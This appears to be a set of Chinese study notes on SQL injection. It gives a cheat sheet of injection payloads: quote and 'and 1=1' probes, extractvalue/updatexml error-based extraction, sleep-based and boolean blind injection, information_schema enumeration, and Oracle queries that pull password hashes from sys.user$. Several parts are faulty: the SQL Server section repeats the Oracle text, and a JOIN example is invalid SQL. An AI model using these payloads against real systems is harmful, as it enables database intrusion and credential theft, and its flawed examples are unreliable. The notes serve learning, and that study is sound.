这是我在学习SQL注入时记录的一些信息,部分信息来自互联网,如果侵犯了您的版权请联系我删除。
SQL注入攻击
SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
测试是否存在注入点
and 1=1 ,and 1=2判断法
查看 URL类型是否为类似URI?ID=1这种,或者是否存在表单,若是,继续测试,其中ID是KEY,1是VALUE。
更改VALUE为and 1=1,测试页面是否正常显示。更改VALUE为and 1=2,测试页面是否正常显示。如果and 1=1显示正常,但是and 1=2显示错误则存在SQL注入漏洞。
‘,”判断法
查看 URL类型是否为类似URI?ID=1这种,或者是否存在表单,若是,继续测试,其中ID是KEY,1是VALUE。
在VALUE末尾增加’或者”,测试页面是否显示正常。若不正常则存在SQL注入漏洞。
SQL注入参数类型
数字型
数字型SQL注入的参数是数字,例如select from posts where postid=1。注入语句拼接后通常是这样:select from posts where postid=1 and [查询条件]。
字符型
字符型SQL注入的参数是字符,例如select from users where username=”name”。注入语句拼接后通常是这样:select from users where username=”name” and [查询条件]。
搜索型
搜索型注入一般是在搜索页中使用,例如select from posts where title like “%我是一个标题%”。注入语句拼接后通常是这样:select from posts where title like “%我是一个标题%” and [查询条件]。
数据库的一些特征
MYSQL
--mysql语句与--mysql语句
--后加一个空格表示mysql的注释,如果不加空格就会执行。例如:--sleep(1)会执行,而-- sleep(1)不会执行。sleep(1),表示延迟1秒。
Benchmark()
Benchmark()可以测试某些操作的执行时间,参数一是需要执行的次数,参数二是需要执行的表达式。例如:select benchmark(10000,(select name from users where id=1))。这个表达式可以是任意表达式。
字符串拼接
Mysql允许字符串拼接。可以使用”字符串一” ”字符串二”(注意字符串一和字符串二中间有一个空格)拼接成:”字符串一字符串二”,还可以使用concat(“字符串一”,” 字符串二”)。例如:select id from users where name="12" "345"等价于select id from users where name=concat("12","3","45")等价于select id from users where name="12345"。
报错信息泄露
如果后端直接抛出mysql错误,那么可以通过在查询中故意写错来查看数据库信息。例如: select from users where id=1'数据库会抛出以下错误:/ SQL错误(1064):You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 */。可以借此判断用的是MYSQL数据库。
Union查询
可以借助Union查询查询额外信息。例如:select id from users union select id from projects order by id。
Join查询
可以借助Join查询查询额外信息。例如:select posts.title,users.name from posts where posts.id=1 left join users on posts.userid=users.id。
Oracle数据库
报错信息泄露
如果后端直接抛出Oracle错误,那么可以通过在查询中故意写错来查看数据库信息。例如: select * from users where id=1'数据库会抛出错误。抛出的错误中一般会包含数据库名称。
Union查询
可以借助Union查询查询额外信息。例如:select id from users union select id from projects order by id。
Join查询
可以借助Join查询查询额外信息。例如:select posts.title,users.name from posts where posts.id=1 left join users on posts.userid=users.id。
SQL Server
报错信息泄露
如果后端直接抛出Oracle错误,那么可以通过在查询中故意写错来查看数据库信息。例如: select * from users where id=1'数据库会抛出错误。抛出的错误中一般会包含数据库名称。
Union查询
可以借助Union查询查询额外信息。例如:select id from users union select id from projects order by id。
Join查询
可以借助Join查询查询额外信息。例如:select posts.title,users.name from posts where posts.id=1 left join users on posts.userid=users.id。
注入类型
基于报错的注入
基于XML解析错误的注入
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数。主要使用的函数有EXTRACTVALUE(XML_document, XPath_string)、UPDATEXML(XML_document, XPath_string, new_value)这两个函数返回长度有限,都为32个字符长度。利用方法主要是故意写错XML文档让extractvalue抛出XML错误。例如:select extractvalue(1,user())会抛出以下错误:/ SQL错误(1105):XPATH syntax error: '@localhost' /,这样user()就被执行并抛出了执行结果。
获取当前数据库
select database()。
子查询
在查询中新增子查询查询需要的数据,例如:select extractvalue(1,concat(0x3a,(select name from users where id=1))) 会抛出以下错误:/ SQL错误(1105):XPATH syntax error: ':12345' /。这样name就被抛出了。
基于时间的盲注
有的页面不会显示SQL错误信息,这时候就要通过时间盲注和bool盲注来辅助判断。
可以使用sleep()来人为增加响应时间判断注入是否执行。
基于bool的盲注
有的页面不会显示SQL错误信息,这时候就要通过时间盲注和bool盲注来辅助判断。
例如:SELECT IF(user() LIKE 'root@%', SLEEP(1), null)
常用语句/函数
Mysql:
- version() MySQL 版本
- user() 数据库用户名
- database() 数据库名
- @@datadir 数据库路径
- @@version_compile_os 操作系统版本
- hex() 把十进制转为十六进制
- concat() 连接字符串
- ascii() ascii编码
- length()获取长度
- substring() mid() 取出字符串
- group_concat() 连接一个组的所有字符串 以逗号分隔每一条数据
- updatexml()、extractvalue() 用于报错注入
- sleep() 休眠
- 猜数据库 select schema_name from information_schema.schemata
- 猜某库的数据表 select table_name from information_schema.tables where table_schema=’xxxxx’
- 猜某表的所有列 Select column_name from information_schema.columns where table_name=’xxxxx’
- 获取某列的内容 Select xx_column from xx_table
- 列出所有的数据库 select group_concat(schema_name) from information_schema.schemata
- 列出某个库当中所有的表 select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'
Oracle
- 解析IP select utl_inaddr.get_host_address('google.com') from dual;
- 获取本机IP地址 select utl_inaddr.get_host_address from dual;
- 根据IP地址反向解析主机名 select utl_inaddr.get_host_name('...') from dual;
- 获取系统信息 select banner from v$version where rownum=1 ;
- 获取用户信息select user from dual; -- current user
- select username from user_users; -- current user
- select username from all_users; -- all user
- select username from dba_users; -- all user
- 获取密码hash select name, password, astatus from sys.user$; -- password hash <=10g , need privs
- select name, password, spare4 from sys.user$; -- password has 11g , need privs
- select global_name from global_name; -- current database
- select sys.database_name from dual; -- current database
- select name from v$database; -- current database name , need privs
- select instance_name from v$instance; -- current database name , need privs
- select distinct owner from all_tables; -- all schema
- select table_name from all_tables where owner='xxx'; -- all table name
- select owner,table_name,column_name from all_tab_columns where table_name='xxx';
- select owner,table_name,column_name from all_tab_cols where table_name='xxx';
Comments | NOTHING